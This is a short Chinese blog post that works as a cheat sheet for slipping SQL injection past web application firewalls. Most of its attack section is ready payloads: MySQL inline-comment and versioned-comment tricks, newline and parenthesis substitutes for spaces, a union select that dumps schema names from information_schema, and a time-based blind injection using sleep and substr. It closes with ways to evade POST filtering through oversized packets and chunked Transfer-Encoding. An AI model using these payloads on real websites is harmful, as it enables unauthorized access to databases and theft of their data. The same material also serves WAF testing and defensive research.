WAF安全-SQL

1 篇文章 0 订阅

一:FUZZ探测

1.bp字典fuzz探测关键字是否被过滤

2.字典探测正则表达式哪些可以通过(/+-)    '/'一定需要

        

二:绕过方法

        1.内敛注释:

select /*version()*/; 注释/**/中间的内容   

select /*!version*/;   取消其注释,执行其中内容

/*!50000version()*/ 是当 mysql 版本大于 50000 时,执行其中内容
id=-1' union/*!10440*/select 1,2,3--+ # 早期 waf
id=1'union/*///*/distinct/*///*/select/*///*/sleep/*///*/(2),2,3--+

        2.空格绕过

Tips:1.   %0a是换行符:例如 union -- %0a select /**/ version();

        2.   %23等同与#

        3.注释符+垃圾数据+换行符

id=' union /*!--+ /* %0a select /*! 1,2, */ group_concat(schema_name) /*! from */ /*!--+ /* %0a information_schema. /*! schemata */ --+

        4.用括号绕过空格(空格被过滤)常用于延时盲注

select(user())from(user)where(1=1)and(2=2)

select(username)from(users)where(id=1)and(level=1);

id=1' and ( if ( ascii ( substr ( database () from ( 1 ) for ( 1 ))) > 97 ,sleep ( 5 ) , 1 )) % 23
Tips:substr(database(),1,1)= substr ( database () from ( 1 ) for ( 1 ))

三:POST绕过

1.超大数据包绕过

2.分块传输

header头中添加:Transfer-Encoding: chunked

使用bp插件Chunked coding converter ->encoding

  • 8
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值